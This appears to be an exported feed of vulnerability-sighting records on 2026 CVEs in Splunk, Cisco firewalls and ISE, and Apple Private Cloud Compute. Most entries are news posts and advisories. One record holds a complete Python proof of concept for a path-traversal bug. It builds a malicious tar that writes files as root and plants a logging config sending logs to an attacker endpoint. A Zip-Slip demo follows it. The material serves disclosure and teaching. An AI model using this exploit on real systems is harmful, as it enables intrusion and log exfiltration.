"caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0a01f8ca-9796-4b99-8e1a-a9cb21416717", "content": "", "creation_timestamp": "2026-06-19T12:45:31.499114Z"}, {"uuid": "5dc5b9b7-94e0-4e2d-879b-e24cc2e30643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mongexdmt722", "content": "CISA says CVE-2026-20253 in Splunk Enterprise is being actively exploited. Affects versions 10.2.0-10.2.3 and 10.0.0-10.0.6, enabling file writes and possible code execution. #Splunk #CISA #CVE202620253", "creation_timestamp": "2026-06-19T13:15:24.492205Z"}, {"uuid": "e79b26bc-06ae-47c9-9d34-7288e4ce6464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "https://t.me/thehackernews/9783", "content": "\ud83d\uded1 Exploited Cisco firewall flaw can remotely crash affected devices.\n\nCVE-2026-20349 affects certain ASA and FTD configurations. A crafted HTTP request can force a device reload and cause a denial-of-service condition.\n\nCisco says exploitation is already underway and no workaround exists.\n\nPatch now: https://thehackernews.com/2026/08/cisco-asa-and-ftd-flaw-exploited-in.html", "creation_timestamp": "2026-08-13T00:00:09.727185Z"}, {"uuid": "9677a8dd-8a13-4eec-b968-61f90003c191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://gist.github.com/HORKimhab/e7ac4ee161e8a39080c5fe6a49a833dd", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-20685 PoC - Path Traversal in Apple Private Cloud Compute\nFor local testing ONLY in Apple Virtual Research Environment\n\nWARNING: This is for authorized security research only.\nUse only in Apple's VRE as described in the blog.\n\"\"\"\n\nimport os\nimport tarfile\nimport plistlib\nimport tempfile\nimport shutil\nfrom pathlib import Path\n\nclass PCCExploitBuilder:\n    def __init__(self, output_dir=\".\"):\n        self.output_dir = Path(output_dir)\n        self.output_dir.mkdir(exist_ok=True)\n        \n    def create_proof_file_content(self):\n        \"\"\"Create the proof file content that will be written via traversal\"\"\"\n        return \"\"\"PATH_TRAVERSAL_CONFIRMED: Written by darwin-init FilePath+Archive.swift:95\nExtraction base: /var/tmp/darwin-init/cryptex//\nTarget: /var/db/poc_darwin_init_traversal_proof\nTimestamp: VRE_TEST_ONLY\n\"\"\"\n    \n    def create_splunk_config(self, attacker_server=\"http://192.168.64.1:8088\"):\n        \"\"\"Create a malicious splunkloggingd config to redirect logs\"\"\"\n        config = {\n            \"Server\": attacker_server,\n            \"Index\": \"exfil\",\n            \"Predicates\": [\n                \"subsystem == \\\"com.apple.cloudos.cloudboard\\\"\",\n                \"subsystem == \\\"com.apple.cloudos\\\"\",\n                \"subsystem == \\\"com.apple.darwininit\\\"\"\n            ],\n            \"Level\": \"Debug\"\n        }\n        return config\n    \n    def create_traversal_entries(self, tar, temp_dir):\n        \"\"\"\n        Create traversal entries that will escape to /var/db/\n        \n        The extraction base is /var/tmp/darwin-init/cryptex//\n        4 levels of traversal (../../../../db/) reaches /var/db/\n        \"\"\"\n        \n        # Proof file - writes to /var/db/poc_darwin_init_traversal_proof\n        proof_path = Path(temp_dir) / \"proof.txt\"\n        proof_path.write_text(self.create_proof_file_content())\n        \n        # Add with traversal prefix\n        tar.add(\n            str(proof_path), \n            arcname=\"../../../../db/poc_darwin_init_traversal_proof\"\n        )\n        \n        # Splunk config - writes to /var/db/prcos/splunkloggingd/config-main.plist\n        config_path = Path(temp_dir) / \"config-main.plist\"\n        with open(config_path, 'wb') as f:\n            plistlib.dump(self.create_splunk_config(), f)\n        \n        tar.add(\n            str(config_path),\n            arcname=\"../../../../db/prcos/splunkloggingd/config-main.plist\"\n        )\n    \n    def create_valid_cryptex_structure(self, tar, temp_dir):\n        \"\"\"\n        Create a minimal valid cryptex structure to pass verification\n        \n        This mimics the genuine cryptex bundle structure that would be\n        created by Apple's pccvre cryptex create command\n        \"\"\"\n        \n        cryptex_dir = Path(temp_dir) / \"Restore\" / \"Cryptex\" / \"POC_DEMO\"\n        cryptex_dir.mkdir(parents=True, exist_ok=True)\n        \n        # Create minimal files that would exist in a real cryptex\n        # These are placeholders - in reality, these would be actual cryptex files\n        files = {\n            \"gdmg\": b\"\\x00\" * 14336,  # 14KB placeholder\n            \"ginf\": b\"version: 1.0\\n\",\n            \"gtcd\": b\"46\",  # example ID\n            \"gtgv\": b\"build: 2026.07.31\\n\"\n        }\n        \n        for filename, content in files.items():\n            filepath = cryptex_dir / filename\n            filepath.write_bytes(content)\n            tar.add(str(filepath), arcname=f\"Restore/Cryptex/POC_DEMO/{filename}\")\n        \n        # Create minimal BuildManifest.plist\n        manifest = {\n            \"BuildVersion\": \"1.0\",\n            \"CryptexComponents\": {\n                \"POC_DEMO\": {\n                    \"Version\": \"1.0.0\",\n                    \"Hash\": b\"\\x00\" * 32  # SHA256 placeholder\n                }\n            }\n        }\n        \n        manifest_path = Path(temp_dir) / \"BuildManifest.plist\"\n        with open(manifest_path, 'wb') as f:\n            plistlib.dump(manifest, f)\n        \n        tar.add(str(manifest_path), arcname=\"Restore/BuildManifest.plist\")\n    \n    def build_malicious_cryptex(self, output_filename=\"malicious_cryptex.tar\"):\n        \"\"\"Build the complete malicious tar archive\"\"\"\n        \n        output_path = self.output_dir / output_filename\n        print(f\"[*] Building malicious cryptex: {output_path}\")\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Add traversal entries\n                self.create_traversal_entries(tar, temp_dir)\n                \n                # Add valid cryptex structure\n                self.create_valid_cryptex_structure(tar, temp_dir)\n                \n                # Display contents for verification\n                print(\"\\n[*] Archive contents:\")\n                for member in tar.getmembers():\n                    indicator = \"TRAVERSAL\" if member.name.startswith(\"../\") else \"BUNDLE\"\n                    print(f\"  {member.name:60} {indicator}\")\n        \n        print(f\"\\n[+] Successfully created: {output_path}\")\n        return output_path\n    \n    def create_control_tar(self, output_filename=\"control_cryptex.tar\"):\n        \"\"\"Create a clean control tar with no traversal for comparison\"\"\"\n        output_path = self.output_dir / output_filename\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Only add valid cryptex structure, no traversal\n                self.create_valid_cryptex_structure(tar, temp_dir)\n        \n        print(f\"[+] Control tar created: {output_path}\")\n        return output_path\n\nclass VREHelper:\n    \"\"\"Helper functions for interacting with the VRE\"\"\"\n    \n    @staticmethod\n    def start_vre_node(debug=True):\n        \"\"\"Start a VRE instance with debugging\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"/System/Library/SecurityResearch/usr/bin/pccvre\",\n            \"instance\", \"start\",\n            \"--debug\" if debug else \"\",\n            \"-N\", \"poc_demo\"\n        ]\n        cmd = [c for c in cmd if c]  # Remove empty strings\n        \n        print(\"[*] Starting VRE node...\")\n        # In practice, you'd capture the output to get the HTTP server details\n        # This is a simplified example\n        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        return process\n    \n    @staticmethod\n    def verify_exploit(ip=\"192.168.64.50\"):\n        \"\"\"Verify the exploit worked by reading the proof file\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"ssh\", f\"root@{ip}\",\n            \"echo\", '\"$(< /var/db/poc_darwin_init_traversal_proof)\"'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        if \"PATH_TRAVERSAL_CONFIRMED\" in result.stdout:\n            print(\"[+] EXPLOIT CONFIRMED! Proof file exists.\")\n            print(result.stdout)\n            return True\n        else:\n            print(\"[-] Exploit not verified.\")\n            return False\n\ndef main():\n    \"\"\"Main PoC execution\"\"\"\n    print(\"=\" * 60)\n    print(\"CVE-2026-20685 PoC - Path Traversal in Apple PCC\")\n    print(\"For VRE Testing Only\")\n    print(\"=\" * 60)\n    \n    # Build the exploit\n    builder = PCCExploitBuilder()\n    malicious_tar = builder.build_malicious_cryptex()\n    control_tar = builder.create_control_tar()\n    \n    # Verify the archive structure\n    print(\"\\n[*] Verifying archive structure...\")\n    with tarfile.open(malicious_tar, 'r') as tar:\n        has_traversal = any(m.name.startswith(\"../\") for m in tar.getmembers())\n        has_valid_cryptex = any(\"Restore/Cryptex\" in m.name for m in tar.getmembers())\n        \n        print(f\"  Contains traversal entries: {has_traversal}\")\n        print(f\"  Contains valid cryptex: {has_valid_cryptex}\")\n    \n    print(\"\\n\" + \"=\" * 60)\n    print(\"PoC BUILD COMPLETE\")\n    print(\"=\" * 60)\n    print(\"\\nNext steps in VRE:\")\n    print(\"1. Start VRE instance: pccvre instance start --debug -N poc_demo\")\n    print(\"2. Register the malicious tar as a third cryptex\")\n    print(\"3. Boot the node and verify /var/db/poc_darwin_init_traversal_proof exists\")\n    print(\"4. Check splunkloggingd redirection to your endpoint\")\n    print(\"\\nNote: The splunk config will redirect to http://192.168.64.1:8088\")\n    print(\"      Modify this in PCCExploitBuilder.create_splunk_config() if needed\")\n\nif __name__ == \"__main__\":\n    # Safety check - prevent accidental execution outside VRE\n    if not os.path.exists(\"/System/Library/SecurityResearch/usr/bin/pccvre\"):\n        print(\"WARNING: Not running in Apple Virtual Research Environment!\")\n        print(\"This PoC should ONLY be used in the authorized VRE.\")\n        response = input(\"Continue anyway? (y/N): \")\n        if response.lower() != 'y':\n            print(\"Exiting.\")\n            exit(0)\n    \n    main()\n\n### ---- ###\n#!/usr/bin/env python3\n\"\"\"\nEducational Zip-Slip / path-traversal demo.\nCreates a malicious tar and extracts it with na\u00efve concatenation\n(exactly the pattern that was present in the vulnerable darwin-init code).\nRun only in a throw-away directory.\n\"\"\"\n\nimport tarfile\nimport os\nimport tempfile\nfrom pathlib import Path\n\ndef make_malicious_tar(tar_path: Path):\n    with tarfile.open(tar_path, \"w\") as tar:\n        # Benign file that stays inside the extraction dir\n        info = tarfile.TarInfo(name=\"safe.txt\")\n        data = b\"I stay inside the extraction directory\\n\"\n        info.size = len(data)\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\n        # Classic traversal \u2013 four \u201c..\u201d to escape a typical /tmp/.../extract base\n        evil_name = \"../../../../tmp/poc_path_traversal_written_by_root\"\n        info = tarfile.TarInfo(name=evil_name)\n        data = b\"PATH_TRAVERSAL_CONFIRMED \u2013 written outside the intended directory\\n\"\n        info.size = len(data)\n        # Optional: set mode/uid if you want to mimic root extraction\n        info.mode = 0o644\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\ndef vulnerable_extract(tar_path: Path, dest: Path):\n    \"\"\"Na\u00efve extractor that does what the old darwin-init code effectively did.\"\"\"\n    dest.mkdir(parents=True, exist_ok=True)\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            # NO sanitization \u2013 this is the bug\n            target = dest / member.name\n            if member.isfile():\n                target.parent.mkdir(parents=True, exist_ok=True)\n                with open(target, \"wb\") as f:\n                    f.write(tar.extractfile(member).read())\n                print(f\"[written] {target}\")\n\ndef safe_extract(tar_path: Path, dest: Path):\n    \"\"\"Correct way: reject any member that escapes the destination.\"\"\"\n    dest = dest.resolve()\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            target = (dest / member.name).resolve()\n            if not str(target).startswith(str(dest)):\n                raise Exception(f\"Path traversal blocked: {member.name}\")\n            # \u2026 then extract only the safe members\n\nif __name__ == \"__main__\":\n    work = Path(tempfile.mkdtemp(prefix=\"zipslip-demo-\"))\n    tar_file = work / \"malicious.tar\"\n    extract_dir = work / \"extract_here\"\n\n    print(f\"Working directory: {work}\")\n    make_malicious_tar(tar_file)\n    print(\"Created malicious tar.\")\n\n    print(\"\\n--- Vulnerable extraction ---\")\n    vulnerable_extract(tar_file, extract_dir)\n\n    print(\"\\n--- Safe extraction (should raise) ---\")\n    try:\n        safe_extract(tar_file, extract_dir)\n    except Exception as e:\n        print(\"Blocked:\", e)\n\n    print(\"\\nCheck /tmp for the file written by the traversal entry.\")\n", "creation_timestamp": "2026-08-10T06:52:29.828008Z"}, {"uuid": "b732ea29-89e4-4405-9857-8bb6971fd99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "https://t.me/information_security_channel/55732", "content": "Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\nhttps://www.securityweek.com/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/\n\nCVE-2026-20349 can be exploited remotely without authentication against Secure Firewall ASA and FTD devices.\nThe post Cisco Patches Firewall Zero-Day Exploited for DoS Attacks (https://www.securityweek.com/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-08-13T00:00:09.249145Z"}, {"uuid": "824a1dd7-a145-425d-9fc0-bddbdec9de0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/D4W16OC9HE0yNzEjroADs3fCEIh4w_lQ7jHL3IEL801HfzI", "content": "", "creation_timestamp": "2026-08-13T00:00:11.141802Z"}, {"uuid": "a8b8eb47-4644-482d-815e-742d5115f96b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "published-proof-of-concept", "source": "Telegram/eI9PIVqPrXKVJJQ_HX0IInd0ckkH_W5DeLSCUd56oaZOC68", "content": "", "creation_timestamp": "2026-08-20T16:00:04.527994Z"}, {"uuid": "0699b18a-33fc-4d87-8ad2-0ae00826ca55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/7mh8zFRhm4oS-bLFzm82YdNZ3UVlQ--Ue-6K9sBFh0ZzF5o", "content": "", "creation_timestamp": "2026-08-10T09:00:04.340144Z"}, {"uuid": "74afb22c-2721-4dd7-a702-4d88e5775300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mongcgtcbk2r", "content": "Today\u2019s CTI call: patch Splunk first. CISA added CVE-2026-20253 to KEV after Splunk confirmed limited exploitation of a critical unauthenticated PostgreSQL sidecar flaw in Splunk Enterprise. This beats the actor-brand chatter.\n\n#ThreatIntel #CTI #CyberSecurity #InfoSec", "creation_timestamp": "2026-06-19T13:13:59.774358Z"}, {"uuid": "7a4530a6-d5f5-448b-8590-7a1f7abb4150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mongcgth5s2r", "content": "Today\u2019s CTI call: patch Splunk first. CISA added CVE-2026-20253 to KEV after Splunk confirmed limited exploitation of a critical unauthenticated PostgreSQL sidecar flaw in Splunk Enterprise. This beats the actor-brand chatter.\n\n#ThreatIntel #CTI #CyberSecurity #InfoSec", "creation_timestamp": "2026-06-19T13:14:00.302085Z"}, {"uuid": "22206767-49c2-4f6f-b0e7-35f02a0271b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mongcgti522r", "content": "Today\u2019s CTI call: patch Splunk first. CISA added CVE-2026-20253 to KEV after Splunk confirmed limited exploitation of a critical unauthenticated PostgreSQL sidecar flaw in Splunk Enterprise. This beats the actor-brand chatter.\n\n#ThreatIntel #CTI #CyberSecurity #InfoSec", "creation_timestamp": "2026-06-19T13:14:00.817495Z"}, {"uuid": "c02f6a97-da07-44bc-9ea6-aef61f5c3d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mongcgtj4c2r", "content": "Today\u2019s CTI call: patch Splunk first. CISA added CVE-2026-20253 to KEV after Splunk confirmed limited exploitation of a critical unauthenticated PostgreSQL sidecar flaw in Splunk Enterprise. This beats the actor-brand chatter.\n\n#ThreatIntel #CTI #CyberSecurity #InfoSec", "creation_timestamp": "2026-06-19T13:14:01.353904Z"}, {"uuid": "51aac75d-2f80-46e2-91bf-642a43da8d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://infosec.exchange/users/beyondmachines1/statuses/116775956143459982", "content": "Cisco Patches Critical Root RCE and Credential Theft Flaws in ISE\nCisco patched a critical root RCE vulnerability (CVE-2026-20181) and a high-severity information disclosure flaw (CVE-2026-20190) in its Identity Services Engine. These vulnerabilities allow authenticated root access or theft of hashed credentials.\n**Make sure your Cisco ISE and ISE-PIC systems are isolated from the internet and reachable only from trusted management networks. Apply the latest patches immediately (ISE 3.3 Patch 11, 3.4 Patch 6, or 3.5 Patch 3) and for the 3.5 command-execution fix, request the hotfix from Cisco TAC now. Don't wait for Patch 4 in August 2026.**#cybersecurity #infosec #advisory #vulnerabilityhttps://beyondmachines.net/event_details/cisco-patches-critical-root-rce-and-credential-theft-flaws-in-ise-o-v-f-q-7/gD2P6Ple2L", "creation_timestamp": "2026-06-19T13:19:12.903152Z"}, {"uuid": "1c6f353d-f5fd-4ecd-a8aa-893b96a9f886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://infosec.exchange/users/beyondmachines1/statuses/116775956143459982", "content": "Cisco Patches Critical Root RCE and Credential Theft Flaws in ISE\nCisco patched a critical root RCE vulnerability (CVE-2026-20181) and a high-severity information disclosure flaw (CVE-2026-20190) in its Identity Services Engine. These vulnerabilities allow authenticated root access or theft of hashed credentials.\n**Make sure your Cisco ISE and ISE-PIC systems are isolated from the internet and reachable only from trusted management networks. Apply the latest patches immediately (ISE 3.3 Patch 11, 3.4 Patch 6, or 3.5 Patch 3) and for the 3.5 command-execution fix, request the hotfix from Cisco TAC now. Don't wait for Patch 4 in August 2026.**#cybersecurity #infosec #advisory #vulnerabilityhttps://beyondmachines.net/event_details/cisco-patches-critical-root-rce-and-credential-theft-flaws-in-ise-o-v-f-q-7/gD2P6Ple2L", "creation_timestamp": "2026-06-19T13:19:13.090776Z"}, {"uuid": "5e87aceb-d09d-4675-a868-af896d298c31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/arc-perimetered.bsky.social/post/3monht2cofx2f", "content": "CVE-2026-20253 isn't just 'patch Splunk.' It's your monitoring plane becoming an attack plane. Zero-auth on the tool watching everything \u2014 RCE gets you logs, forwarder trust, lateral reach. The SOC was the network segment you forgot to defend.", "creation_timestamp": "2026-06-19T13:41:10.450432Z"}, {"uuid": "eadf9250-809c-4beb-b073-b86d9d2d33ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3moniiozyim42", "content": "Unauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253) CISA has added CVE-2026-20253, a critical, remotely exploitable vulnerability in Splunk Enterprise, to its Known Exploi...\n\n#Don't #miss #Hot #stuff #News #CISA #enterprise [\u2026] \n\n[Original post on helpnetsecurity.com]", "creation_timestamp": "2026-06-19T13:53:21.656227Z"}, {"uuid": "768b4838-88f9-4dfa-9719-3723452d62c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3monlsc5yttm2", "content": "U.S. CISA adds Splunk Enterprise flaw to its Known Exploited Vulnerabilities catalog and urges agencies to fix it by Sunday U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Splunk...\n\n#Breaking #News #Hacking #Security #CISA #CVE-2026-20253 #hacking #news #information #security [\u2026]", "creation_timestamp": "2026-06-19T14:52:28.354990Z"}, {"uuid": "72c528ef-dc3a-4154-9f19-b8a7394a500e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0198", "content": "Splunk heeft meerdere kwetsbaarheden verholpen in Splunk Enterprise en Splunk Cloud Platform. De kwetsbaarheden betreffen verschillende onderdelen van Splunk Enterprise en Splunk Cloud Platform. Splunk heeft de kwetsbaarheid met kenmerk CVE-2026-20253 in de PostgreSQL sidecar service endpoint als kritiek beoordeeld en maakt het mogelijk voor niet-geauthenticeerde gebruikers om willekeurige bestanden aan te maken of te verwijderen door het ontbreken van authenticatiecontroles. \nEen andere kwetsbaarheid met kenmerk CVE-2026-20251 betreft een Remote Code Execution (RCE) via onveilige deserialisatie van KV Store data met de 'jsonpickle' Python library, waarbij laaggeprivilegieerde gebruikers zonder admin- of power-rollen code op afstand kunnen uitvoeren. \nVerder zijn meerdere kwetsbaarheden vastgesteld die het mogelijk maken om gevoelige gegevens te exfiltreren via onder meer SSRF-, CSS-injectie- en XSS-aanvallen. Door onvoldoende validatie van URL\u2019s, domeinen en gebruikersinvoer kunnen aanvallers beveiligingscontroles omzeilen, interne systemen benaderen en data buitmaken.\n\nUpdate: Het Splunk Product Security Incident Response Team (PSIRT) meldt dat beperkt en gericht misbruik is waargenomen van de kwetsbaarheid met kenmerk CVE-2026-20253. De kwetsbaarheid maakt het voor een kwaadwillende mogelijk om bestanden aan te maken of verwijderen en zo de werking van het systeem te verstoren. Voor zover bekend is uitvoer van code niet mogelijk.", "creation_timestamp": "2026-06-19T10:42:32.000000Z"}, {"uuid": "e3a72080-1c68-4b25-9a69-3970bc63ba49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0198", "content": "Splunk heeft meerdere kwetsbaarheden verholpen in Splunk Enterprise en Splunk Cloud Platform. De kwetsbaarheden betreffen verschillende onderdelen van Splunk Enterprise en Splunk Cloud Platform. Splunk heeft de kwetsbaarheid met kenmerk CVE-2026-20253 in de PostgreSQL sidecar service endpoint als kritiek beoordeeld en maakt het mogelijk voor niet-geauthenticeerde gebruikers om willekeurige bestanden aan te maken of te verwijderen door het ontbreken van authenticatiecontroles. \nEen andere kwetsbaarheid met kenmerk CVE-2026-20251 betreft een Remote Code Execution (RCE) via onveilige deserialisatie van KV Store data met de 'jsonpickle' Python library, waarbij laaggeprivilegieerde gebruikers zonder admin- of power-rollen code op afstand kunnen uitvoeren. \nVerder zijn meerdere kwetsbaarheden vastgesteld die het mogelijk maken om gevoelige gegevens te exfiltreren via onder meer SSRF-, CSS-injectie- en XSS-aanvallen. Door onvoldoende validatie van URL\u2019s, domeinen en gebruikersinvoer kunnen aanvallers beveiligingscontroles omzeilen, interne systemen benaderen en data buitmaken.\n\nUpdate: Het Splunk Product Security Incident Response Team (PSIRT) meldt dat beperkt en gericht misbruik is waargenomen van de kwetsbaarheid met kenmerk CVE-2026-20253. De kwetsbaarheid maakt het voor een kwaadwillende mogelijk om bestanden aan te maken of verwijderen en zo de werking van het systeem te verstoren. Voor zover bekend is uitvoer van code niet mogelijk.", "creation_timestamp": "2026-06-19T10:42:32.000000Z"}, {"uuid": "685c9c5b-4d1e-46f3-897e-a4ceada052ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mspsybgwuq2q", "content": "Apple\u3001\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30af\u30e9\u30a6\u30c9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c8\u306b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u6b20\u9665\u3001\u653b\u6483\u8005\u304croot\u3068\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u306b\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306eDrinor Selmanaj\u6c0f\u306f\u3001Apple\u306e\u300cPrivate Cloud Compute(PCC)\u300d\u306b\u5b58\u5728\u3059\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027(CVE-2026-20685)\u3092\u516c\u8868\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3068\u3001\u7279\u6a29\u3092\u6301\u3064\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u653b\u6483\u8005\u304c\u30ce\u30fc\u30c9\u306e\u30d6\u30fc\u30c8\u6642\u306b\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092root\u3068\u3057\u3066...", "creation_timestamp": "2026-08-10T09:47:03.179947Z"}, {"uuid": "434ac938-f728-4484-97a9-b20e9b922c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:15:10.979491Z"}, {"uuid": "ce34d515-837c-44b2-a516-8503140387ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116777915755287698", "content": "New advisory. \nThis relates to critical CVE-2026-20181 and CVE-2026-20190 vulnerabilities, published on the 17th.\nCisco: CRITICAL: Cisco Identity Services Engine Remote Code Execution and Information Disclosure Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multi-G5WP8vv @TalosSecurity #Cisco #infosec #vulnerability \n@cR0w", "creation_timestamp": "2026-06-19T17:19:44.837735Z"}, {"uuid": "99b740f5-5768-4837-8090-857ced9c6448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116777915755287698", "content": "New advisory. \nThis relates to critical CVE-2026-20181 and CVE-2026-20190 vulnerabilities, published on the 17th.\nCisco: CRITICAL: Cisco Identity Services Engine Remote Code Execution and Information Disclosure Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multi-G5WP8vv @TalosSecurity #Cisco #infosec #vulnerability \n@cR0w", "creation_timestamp": "2026-06-19T17:19:44.985866Z"}, {"uuid": "a838ded8-fe29-4759-9811-86323d2c76a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-actively-exploited-critical-vulnerability-splunk-enterprise-can-lead-remote-code", "content": "", "creation_timestamp": "2026-06-19T08:33:38.000000Z"}, {"uuid": "f4da2e09-ac98-49ac-a091-6ce070dda763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3monwlomhtk2h", "content": "Cisco fixed a critical ISE vulnerability that lets attackers to gain root access\n\nCisco addressed CVE-2026-20181, a critical ISE vulnerability that lets authenticated admins execute commands and gain root access. Cisco addressed a critical command execution vulnerability, tracked \u2026\n#hackernews #news", 